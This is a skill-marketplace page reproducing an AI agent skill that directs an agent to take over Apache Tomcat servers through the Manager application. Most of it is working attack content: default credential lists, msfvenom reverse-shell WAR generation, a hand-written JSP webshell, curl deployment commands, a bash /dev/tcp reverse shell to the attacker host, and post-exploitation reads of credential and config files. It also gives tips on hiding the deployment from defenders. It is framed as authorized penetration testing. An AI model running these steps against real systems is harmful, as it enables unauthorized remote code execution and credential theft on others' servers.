Agent skill
tomcat-manager-deploy
Deploy WAR files via Apache Tomcat Manager for remote code execution. Use when Tomcat Manager is accessible with valid credentials (manager-script or manager-gui role). Covers WAR generation, deployment via text API and HTML interface, reverse shell delivery, and cleanup. Common initial access vector after credential discovery via LFI, default creds, or config file exposure.
Install this agent skill to your Project
npx add-skill https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/tomcat-manager-deploy
SKILL.md
Tomcat Manager WAR Deployment
You are helping a penetration tester exploit authenticated access to Apache Tomcat's Manager application to deploy a malicious WAR file and achieve remote code execution. All testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[tomcat-manager-deploy] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
Scope Boundary
This skill covers Tomcat Manager WAR deployment — authenticating to the Manager interface, generating a malicious WAR payload, deploying it, triggering code execution, and catching a reverse shell. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — STOP.
Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:
- What was found (vulns, credentials, access gained)
- Context to pass (injection point, target, working payloads, etc.)
The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.
Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Exploit and Tool Transfer
Never download exploits, scripts, or tools directly to the target from the
internet (curl https://github.com/..., git clone on target). Targets may
lack outbound internet access, and operators must review files before they
reach the target.
Attackbox-first workflow:
- Download on attackbox —
git clone,curl,searchsploit -mlocally - Review — inspect source code or binary provenance before transferring
- Serve —
python3 -m http.server 8080from the directory containing the file - Pull from target —
wget http://ATTACKBOX:8080/file -O /tmp/fileorcurl http://ATTACKBOX:8080/file -o /tmp/file
Alternatives when HTTP is not viable: scp/sftp (if SSH exists),
nc file transfer, base64-encode and paste, or
impacket-smbserver share . -smb2support on attackbox.
Inline source code written via heredoc in this skill does not need this workflow — the operator can read the code directly.
Prerequisites
- Tomcat Manager credentials with
manager-scriptormanager-guirole- From LFI:
/var/lib/tomcat{7,8,9,10}/conf/tomcat-users.xml,/opt/tomcat/conf/tomcat-users.xml,/etc/tomcat*/tomcat-users.xml - From default creds:
tomcat:tomcat,admin:admin,tomcat:s3cret,admin:tomcat,manager:manager,role1:tomcat - From config exposure: misconfigured backups, GitHub leaks,
.envfiles
- From LFI:
- Network access to Tomcat Manager (usually port 8080 or 80/443)
- msfvenom installed on attackbox (for WAR generation)
- Tomcat Manager endpoint —
/manager/text/(script API) or/manager/html/(web GUI)
Manager Role Requirements
| Role | Path | Capability |
|---|---|---|
manager-gui |
/manager/html |
Web GUI — upload WAR via browser form |
manager-script |
/manager/text |
Text API — deploy/undeploy via curl |
manager-jmx |
/manager/jmxproxy |
JMX monitoring only — no deployment |
manager-status |
/manager/status |
Server status only — no deployment |
Only manager-gui and manager-script allow WAR deployment. If you only have
manager-jmx or manager-status, deployment is not possible via Manager —
note this in Blocked and return.
Step 1: Assess
If not already provided by the orchestrator or conversation context, determine:
- Tomcat version — check
/or error pages for version string - Manager access — test both
/manager/text/listand/manager/html/ - Credentials — try provided creds or defaults
- Attacker IP — determine the correct callback interface
Verify Manager Access
# Test manager-script API (text)
curl -s -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
# Expected: "OK - Listed applications for virtual host ..."
# Test manager-gui (HTML)
curl -s -o /dev/null -w '%{http_code}' -u 'USER:PASS' 'http://TARGET:8080/manager/html'
# Expected: 200
Determine Attacker IP
Use the correct network interface for reverse shell callbacks. Prefer VPN/tunnel interfaces over NAT adapters:
# Prefer tun0 (VPN), fall back to first non-loopback IP
LHOST=$(ip -4 addr show tun0 2>/dev/null | grep -oP 'inet \K[\d.]+') || \
LHOST=$(hostname -I | awk '{print $1}')
echo "Callback IP: $LHOST"
Common mistakes:
- Using NAT adapter IP (10.0.2.15, 192.168.x.x) when on VPN — target can't reach it
- Using Docker bridge IP (172.17.x.x)
- Verify with:
ping -c1 $LHOSTfrom target context if possible
Password Special Characters
Tomcat passwords often contain shell metacharacters (!, $, &, etc.).
When using curl -u, these must be handled carefully:
# Option 1: Single-quote the -u argument (prevents shell expansion)
curl -u 'tomcat:P@$$w0rd!' ...
# Option 2: Use Authorization header directly (most reliable)
# Base64-encode user:pass
AUTH=$(echo -n 'tomcat:P@$$w0rd!' | base64)
curl -H "Authorization: Basic $AUTH" ...
# Option 3: URL-encode special chars in the URL itself
curl 'http://tomcat:P%40%24%24w0rd%21@TARGET:8080/manager/text/list'
! in double quotes is especially problematic — bash interprets it as
history expansion. Always use single quotes or the Authorization header method.
Step 2: Generate WAR Payload
msfvenom JSP Reverse Shell (Recommended)
# Standard JSP reverse shell WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f war \
-o /tmp/claude-1000/shell.war
# Alternative: Java meterpreter (if using Metasploit handler)
msfvenom -p java/meterpreter/reverse_tcp LHOST=$LHOST LPORT=4444 -f war \
-o /tmp/claude-1000/shell.war
# Staged variant (smaller payload, needs Metasploit handler)
msfvenom -p java/shell/reverse_tcp LHOST=$LHOST LPORT=4444 -f war \
-o /tmp/claude-1000/shell.war
Manual JSP Webshell WAR (No msfvenom)
If msfvenom is not available, create a WAR manually:
# Create a command execution JSP
mkdir -p /tmp/claude-1000/wardir
cat > /tmp/claude-1000/wardir/cmd.jsp << 'JSPEOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) out.println(line);
br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while ((line = br.readLine()) != null) out.println(line);
}
%>
JSPEOF
# Package as WAR
cd /tmp/claude-1000/wardir && jar -cvf /tmp/claude-1000/cmd.war cmd.jsp
Verify WAR Contents
# List WAR contents to confirm the JSP is inside
jar -tf /tmp/claude-1000/shell.war | head -10
Step 3: Deploy WAR
Method 1: Manager Text API (manager-script role)
# Deploy via PUT (Tomcat 7+)
curl -u 'USER:PASS' --upload-file /tmp/claude-1000/shell.war \
'http://TARGET:8080/manager/text/deploy?path=/app'
# Expected: "OK - Deployed application at context path [/app]"
# Deploy via PUT with Authorization header (for special characters in password)
AUTH=$(echo -n 'USER:PASS' | base64)
curl -H "Authorization: Basic $AUTH" --upload-file /tmp/claude-1000/shell.war \
'http://TARGET:8080/manager/text/deploy?path=/app'
# Verify deployment
curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
# Should show: /app:running:0:app
Deploy to a non-obvious path to reduce visibility:
# Use an innocuous name
curl -u 'USER:PASS' --upload-file /tmp/claude-1000/shell.war \
'http://TARGET:8080/manager/text/deploy?path=/docs'
Method 2: Manager HTML Interface (manager-gui role)
When only manager-gui is available (no manager-script), deploy via the
HTML form upload. This requires a multipart POST:
# Upload WAR via HTML form
curl -u 'USER:PASS' -F "deployWar=@/tmp/claude-1000/shell.war" \
'http://TARGET:8080/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=NONCE'
CSRF token required: The HTML interface uses CSRF protection. Extract the nonce first:
# Get CSRF nonce from manager page
NONCE=$(curl -s -u 'USER:PASS' 'http://TARGET:8080/manager/html' | \
grep -oP 'CSRF_NONCE=\K[A-F0-9]+' | head -1)
# Deploy with nonce
curl -u 'USER:PASS' -F "deployWar=@/tmp/claude-1000/shell.war" \
"http://TARGET:8080/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=$NONCE"
Verify Deployment
# Check via text API
curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
# Or check directly
curl -s -o /dev/null -w '%{http_code}' 'http://TARGET:8080/app/'
# Expected: 200
Step 4: Trigger and Catch Shell
Reverse Shell (msfvenom WAR)
- Start listener on attackbox (use MCP shell-server if available):
# Via MCP shell-server (preferred)
# start_listener(port=4444, label="tomcat-war-rce")
# Via netcat fallback
nc -nlvp 4444
- Trigger the JSP — msfvenom WAR contains a randomly named JSP inside. Find and request it:
# List the JSP filename inside the WAR
jar -tf /tmp/claude-1000/shell.war | grep '\.jsp$'
# Output example: scprbjej.jsp
# Trigger the reverse shell
curl 'http://TARGET:8080/app/JSPNAME.jsp'
If you don't know the JSP filename, request the context root — Tomcat may
auto-invoke index.jsp or the default servlet:
curl 'http://TARGET:8080/app/'
- Verify shell connection — check the listener for incoming connection.
Command Execution (Manual WAR)
For the manual cmd.jsp webshell:
# Execute commands
curl 'http://TARGET:8080/app/cmd.jsp?cmd=id'
curl 'http://TARGET:8080/app/cmd.jsp?cmd=whoami'
# Send reverse shell from webshell
curl --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'" \
'http://TARGET:8080/app/cmd.jsp'
Stabilize Shell
After catching the reverse shell:
# Via MCP shell-server
# stabilize_shell(session_id="...")
# Manual stabilization
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z, then:
stty raw -echo; fg
export TERM=xterm
Verify Access
id
whoami
hostname
cat /etc/os-release
Common Tomcat service users: tomcat, tomcat8, tomcat9, www-data
Step 5: Cleanup
Undeploy the WAR when done to reduce footprint:
# Via text API
curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/undeploy?path=/app'
# Expected: "OK - Undeployed application at context path [/app]"
# Verify removal
curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
Clean up local files:
rm -f /tmp/claude-1000/shell.war /tmp/claude-1000/cmd.war
rm -rf /tmp/claude-1000/wardir
Step 6: Escalate or Pivot
After catching a shell as the Tomcat service user:
- Linux target: STOP. Return to orchestrator recommending linux-discovery. Pass: hostname, current user (tomcat/tomcatN), shell session ID, access method (reverse shell via WAR deploy).
- Windows target: STOP. Return to orchestrator recommending windows-discovery. Pass: hostname, current user, shell session ID, access method.
- Tomcat running as root/SYSTEM (rare but happens): You already have maximum privileges. Collect evidence and report.
- Other web apps on same Tomcat: Check for additional applications with
credentials or data. Read
conf/server.xmlfor database connection strings.
Report in your return summary: any new credentials, access, vulns, or pivot paths discovered.
When routing, pass along: target hostname/IP, current user, shell session ID, Tomcat version, and any credentials found on the system.
Post-Exploitation Quick Wins
Before routing to discovery, grab these from the Tomcat service user context:
# Tomcat config files (credentials, DB connections)
cat /var/lib/tomcat*/conf/tomcat-users.xml 2>/dev/null
cat /opt/tomcat/conf/tomcat-users.xml 2>/dev/null
cat /var/lib/tomcat*/conf/context.xml 2>/dev/null
cat /var/lib/tomcat*/conf/server.xml 2>/dev/null
# Web app configs (may contain DB creds, API keys)
find /var/lib/tomcat*/webapps -name "*.xml" -o -name "*.properties" | head -20
grep -r "password" /var/lib/tomcat*/webapps/*/WEB-INF/ 2>/dev/null | head -10
# Environment variables
env | sort
Tomcat Version Differences
| Version | Manager Text Path | Default Port | Notes |
|---|---|---|---|
| Tomcat 7 | /manager/text/ |
8080 | Legacy; manager-script role |
| Tomcat 8 | /manager/text/ |
8080 | manager-script role |
| Tomcat 9 | /manager/text/ |
8080 | manager-script role |
| Tomcat 10+ | /manager/text/ |
8080 | Jakarta namespace; same API |
All versions use the same text API. WAR files are compatible across versions (Java servlet spec is backward-compatible).
Tomcat 7 legacy note: Older Tomcat 7 installs may use /manager/deploy
instead of /manager/text/deploy.
OPSEC Notes
- WAR deployment creates files on disk in
webapps/— visible to defenders - Manager access is logged in Tomcat access logs
- Reverse shells generate network connections visible to NIDS
- Undeploy the WAR after testing to reduce footprint
manager-scriptAPI calls appear in access logs with basic auth- Consider using an innocuous context path (
/docs,/examples) to blend in
Troubleshooting
401 Unauthorized on Manager
- Credentials are wrong or user lacks required role
- Check if
manager-scriptormanager-guirole is assigned intomcat-users.xml - Try default credentials:
tomcat:tomcat,admin:admin,tomcat:s3cret - Some installs require the user to be in both a
manager-*role and theadmin-guirole
403 Forbidden on /manager/html
- User has
manager-scriptbut notmanager-gui— use the text API instead - Tomcat's
META-INF/context.xmlin the manager app may restrict access by IP:xmlIf IP-restricted, the text API may also be blocked unless accessed from localhost. Try via AJP proxy (route to ajp-ghostcat) or SSRF.<Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1" />
Deploy Returns "FAIL - Deploy Upload Failed"
- WAR file may be too large — check
maxPostSizeinserver.xml - Disk space may be full in
webapps/directory - Tomcat may not have write permission to
webapps/ - Try a smaller payload: manual JSP WAR is typically <2KB vs msfvenom ~20KB
Shell Doesn't Connect Back
- Wrong LHOST: Verify attacker IP is reachable from target
(
ip -4 addr show tun0) - Firewall: Target may block outbound connections — try different ports (80, 443, 53 often allowed)
- NAT: Don't use NAT adapter IP (10.0.2.x) when on VPN
- Payload encoding: Ensure the JSP filename is correct when triggering
- Try bind shell: If outbound is blocked, use
msfvenom -p java/jsp_shell_bind_tcpand connect to the target instead
WAR Deploys but JSP Returns 404
- The context path may differ from what you specified — check with
manager/text/list - The JSP name inside the WAR is random (msfvenom) — list contents with
jar -tf shell.war | grep .jsp - Try the context root:
curl http://TARGET:8080/app/may auto-invoke the JSP
msfvenom Not Available
Use the manual JSP webshell from Step 2. Package it as a WAR with jar:
jar -cvf shell.war cmd.jsp
Then deploy, trigger, and send a reverse shell from the webshell.
Recommended Agent Skills
Expand your agent's capabilities with these related and highly-rated skills.
credential-recovery
Offline credential and file recovery with hashcat and john. Use when any skill captures hashes (NTLM, Kerberos TGS/AS-REP, shadow, MSCACHE2) or encrypted files (ZIP, Office, PDF, KeePass, SSH key, 7z, RAR). Trigger phrases: "recover this hash", "offline recovery", "john", "hashcat", "zip2john", "password-protected file". Do NOT use for online password attacks (spraying, brute force against services) — use password-spraying instead.
remote-access-enumeration
Enumeration of remote access services: FTP, SSH, RDP, VNC, and WinRM. Checks anonymous access, default credentials, version vulnerabilities, and authentication methods. Use after network-recon identifies remote access ports.
smb-enumeration
SMB share enumeration, access testing, password policy extraction, and content searching. Enumerates shares via null session, guest, and authenticated access. Covers share listing, per-share access testing, MANSPIDER content search, and SMB vulnerability detection (signing, EternalBlue). Use after network-recon identifies SMB ports (139/445).
infrastructure-enumeration
Enumeration of infrastructure services: DNS, SMTP, SNMP, IPMI, NFS, TFTP, RPC/MSRPC, and HTTP/HTTPS surface detection. Checks zone transfers, open relays, default community strings, cipher zero, NFS exports, and web technology fingerprinting. Use after network-recon identifies infrastructure ports.
network-recon
Network reconnaissance, host discovery, port scanning, and OS fingerprinting. Produces a port/service map that the orchestrator uses to route to service-specific enumeration skills.
container-escapes
Container escape, Docker breakout, and Kubernetes exploitation.
Didn't find tool you were looking for?